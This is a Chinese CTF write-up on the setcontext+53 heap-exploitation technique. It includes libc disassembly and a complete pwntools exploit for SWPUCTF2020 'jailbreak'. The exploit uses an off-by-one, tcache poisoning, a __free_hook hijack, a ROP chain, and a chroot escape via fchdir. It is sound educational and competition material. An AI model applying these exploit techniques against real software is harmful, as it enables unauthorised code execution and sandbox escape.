在复现 SWPUCTF2020 jailbreak 遇到打开沙盒堆溢出题目,这条题目实际上还有 chroot 逃逸,这个先放后面。沙盒堆溢出利用方法关键是 setcontext() ,以这个点搜寻其他同类题目。年前的高校战役 lgd ,七月份 DASCTF bigbear 。

setcontext

1
2
3
4
5
6
7
// stdlib/setcontext.c
#include <errno.h>
#include <ucontext.h>

int setcontext(const ucontext_t *ucp){
……
};

其作用是用户上下文的设置,所以我们在可以小范围控制执行流,已知 libc_base 但不足以完成我们的目标时,可以先跳 setcontext+53 来扩大控制范围。简单来说就是通过 setcontext 控制寄存器的值

setcontext+53 避免 crash

libc 2.27 下完整 setcontext 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<setcontext>:     push   rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x356951] # 0x7ffff7dd3e78
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret

fldenv [rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令,跳转到 setcontext+53 。

部署堆栈空间控制对应寄存器

沙盒堆溢出题目利用是将 __free_hook 劫持为 setcontext+53 ,当 free 堆块时堆地址作为参数放在 rdi 传入函数中,进入到 setcontext 就会以堆地址作为基址,将不同偏移地址上的数据放入寄存器。所以我们需要控制堆地址后面空间上的内容。

注意:这里提前布置的数据并不是 srop 中的 frame!!!在其他题目的 wp 中使用 SigreturnFrame() 是方便生成而已,并不是说明填进去的是 frame。比如:

frame.rdi=0x123456 最后 0x123456 是赋值到 rsi <- mov rsi,QWORD PTR [rdi+0x70]

frame.rdi 的 0x123456 被传入 rsi

构造 rsp 时需要注意 push rcx 的影响,如果 rsp 地址不可访问,程序就会 crash 。

libc 2.29 之后变化

libc 2.27 下 setcontext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<setcontext+53>:      mov    rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x398c61]
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret

libc 2.30 下 setcontext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<setcontext+52>:      fldenv [rcx]
<setcontext+54>: ldmxcsr DWORD PTR [rdx+0x1c0]
<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7f4ea94d71c6 <setcontext+294>
<setcontext+113>: mov rsi,QWORD PTR [rdx+0x3a8]
<setcontext+120>: mov rdi,rsi
<setcontext+123>: mov rcx,QWORD PTR [rdx+0x3b0]
<setcontext+130>: cmp rcx,QWORD PTR fs:0x78
<setcontext+139>: je 0x7f4ea94d7165 <setcontext+197>
<setcontext+141>: mov rax,QWORD PTR [rsi-0x8]
<setcontext+145>: and rax,0xfffffffffffffff8
<setcontext+149>: cmp rax,rsi
<setcontext+152>: je 0x7f4ea94d7140 <setcontext+160>

原来是以 rdi 作为基地址,在 libc 2.29 之后以 rdx 作为基地址。

SWPUCTF2020 jailbreak

基本情况

1
2
3
4
5
6
[*] '/ctf/work/jailbreak'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序限制操作次数,以及(正常情况下)允许分配的堆 size 总数,这个数存放在堆上:

image-20201226011019096

程序初始化时调用 chroot 改变根目录:

image-20201226005504441

漏洞

自定义输入函数存在 off by one :

image-20201226005326707

思路

libc 地址怎么都是要知道的,题目限制申请总 size ,先用 tcache 泄露堆地址。offbyone 创造出 tcachebin 重叠空间,修改在 tcachebin 中的堆得 fd 指针,指向到 size 所在空间,调大 size 。

重复上面构成堆重叠步骤在 tcache struct 上申请一个堆控制索引数量,将 0x90 索引数量调成 8 。溢出修改 size 位伪造出一个 0x90 的堆释放进入 unsortedbin 泄露地址。

重复上面构造堆重叠步骤修改 tcachebin fd 指针指向 free_hook ,将 tcache bin 其中一个开头地址修改为 __free hook 用于修改其值位 setcontent+53 。同时部署 setcontext 的上下文。利用 setcontext 构建出一个 read 写入,写入 ROP 链:

1
2
执行chdir(fd)来实现chroot逃逸
ORW 读取 flag

EXP

本地复现时在 18.04 系统里面跑,没有 chroot 等等限制。。。将 __free_hook 改 onegadget 就 getshell 了。后面放到 docker 各种限制就又出现了。。。

官方WP:https://wllm1013.github.io/2020/12/09/SWPUCTF2020-%E5%AE%98%E6%96%B9WP/#jailbreak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
# -*- coding: utf-8 -*-
import sys
import os
from time import *
from pwn import *

context(log_level='debug', terminal=['tmux', 'sp', '-h'], arch='amd64')

sh = process("./jailbreak")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./jailbreak")


def s(data): return sh.send(str(data))


def sa(delim, data): return sh.sendafter(str(delim), str(data))
def sl(data): return sh.sendline(str(data))


def sla(delim, data): return sh.sendlineafter(str(delim), str(data))
def r(numb=4096): return sh.recv(numb)
def ru(delims, drop=True): return sh.recvuntil(delims, drop)
def irt(): return sh.interactive()
def uu32(data): return u32(data.ljust(4, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))


def ru7f(): return u64(sh.recvuntil("\x7f")[-6:].ljust(8, b'\x00'))
def ruf7(): return u32(sh.recvuntil("\xf7")[-4:].ljust(4, b'\x00'))
def lg(data): return log.success(data)


def add(name_size, description_size):
sla("Action:", "B")
sla("Item name size:", str(name_size))
sla("Item description size:", str(description_size))


def edit(idx, name, description):
sla("Action:", "M")
sla("idx:", str(idx))
if name != "":
sla("Modify name?[y/N]", "y")
sa("new name:", str(name))
else:
sla("Modify name?[y/N]", "n")
if description != "":
sla("Modify description?[y/N]", "y")
sa("new description:", str(description))
else:
sla("Modify description?[y/N]", "n")


def free(idx):
sla("Action:", "S")
sla("idx:", str(idx))


def show():
sla("Action:", "W")


def backdoor():
sla("Action:", "\xFF")
sla("Action[y/N]", 'y')

# leak heap_base
add(0x18, 0x18)
add(0x18, 0x18)
free(0)
add(0x18, 0x18)
show()
ru("Item name: ")
heap_base = uu64(r(6)) - 0x280
log.info("heap_base:"+hex(heap_base))

# hijack money
edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 + p8(0x41))
free(0)
add(0x18, 0x29) # 0x20;0x40
free(1)
edit(0, '\x13' * 0x18 + "\n", '\x14' * 0x18 +
p64(0x21) + p64(heap_base + 0x250 + 0x10) + "\n")
free(0) # balance tcache number
add(0x18, 0x18) # 0x20;0x20
add(0x18, 0x18) # 0x20;0x20
edit(1, '\x15' * 0x18 + "\n", p64(0xcafecafe) + "\n")

# get fd
backdoor()
ru("secret:")
dir_fd = int(ru("\n").strip(), 10)
log.info("dri_fd:"+hex(dir_fd))

# hijack tache struct
add(0x28, 0x28)
add(0x28, 0x28) # 3
edit(2, '\x16' * 0x28 + p8(0x51), "\n")
free(2)
add(0x28, 0x48) # 0x30;0x50
free(3)
edit(2, '\x16' * 0x28 + "\n", 'a' * 0x28 +
p64(0x31) + p64(heap_base + 0x10) + "\n")
add(0x28, 0x28)
add(0x28, 0x38) # tcache struct;0x40 tbin
# set 0x90->8
edit(4, p64(0x0800000000000000) + "\n", p64(0xdeadbeef) + "\n")


# leak libc_base
add(0x38, 0x38)
add(0x38, 0x38)
edit(5, '\x15' * 0x38 + p8(0x91), '\x16' * 0x18 + '\n')
# bypass double free(!prev_inuse)
edit(6, '\n', p64(0) + p64(0x31) + "\n")
free(5)
add(0x38, 0x38) # 5
show()
ru("Item idx: 5")
ru("description: ")
main_arena = uu64(r(6)) - 224
libc = main_arena - 0x10 - lib.symbols[b'__malloc_hook']
log.info("libc_base:"+hex(libc))

lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
log.info("free_hook:"+hex(__free_hook))
__malloc_hook = lib.symbols[b'__malloc_hook']

pop_rdi_ret = libc + 0x00000000000215bf#0x000000000002155f
pop_rsi_ret = libc + 0x0000000000023eea#0x0000000000023e8a
pop_rdx_ret = libc + 0x0000000000001b96#0x0000000000001b96
pop_rdx_rsi_ret = libc + 0x0000000000130569#0x0000000000130889
ret = libc + 0x00000000000008aa


add(0x38, 0x38) # 7
free(6) # ???
# 0x60 : tcache 0x40

edit(7,p64(heap_base + 0x60) + "\n","flag.txt\x00".ljust(0x20,'a') + p64(0x3c0 + heap_base) + p64(ret) + "\n")
# heap_base+0x60 :tcache struct 0x40 chunk head
# setcontext data
# rsp:heap_base+0x3c0:chunk5
# rip:ret


add(0x38, 0x48) # 6
add(0x38, 0x48) # 8
edit(8, p64(0xdeadbeef) + "\n", p64(lib.sym['__free_hook']) + "\n")
# fix tcache 0x40
edit(4, p64(0x0800000000010000) + "\n", p64(0xdeadbeef) + "\n")

# overwrite free_hook
log.info("setcontext:"+hex(lib.sym['setcontext']))
add(0x38, 0x48) # 9
edit(9, p64(lib.sym['setcontext'] + 53) + "\n", '\n')

# creat read
edit(5, p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(0x1000) +
p64(heap_base + 0x3b0) + p64(lib.sym['read'])+"\n", '\n')

#gdb.attach(sh)
free(7)
payload = 'a' * (0x40-2)
payload += p64(pop_rdi_ret) + p64(dir_fd)
payload += p64(lib.sym['fchdir'])
payload += p64(pop_rdi_ret) + p64(heap_base+0x4c0)
payload += p64(pop_rsi_ret) + p64(0x0)
payload += p64(lib.sym['open'])
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x440)
payload += p64(lib.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rdx_rsi_ret) + p64(0x100) + p64(heap_base+0x400)
payload += p64(lib.sym['write'])
# payload += p64(pop_rdi_ret) + p64(binsh)
# payload += p64(ret)
# payload += p64(system)
sl(payload)
sleep(2)
# sl("echo deadbeef && cd ../ && cat flag.txt")
# ru("deadbeef")
print sh.recv()
irt()

参考文章

setcontext 函数exploit

DASCTF 7月部分pwn

chroot jail break in CTF from 0 to -1

[高校战“疫”网络安全分享赛pwn部分wp]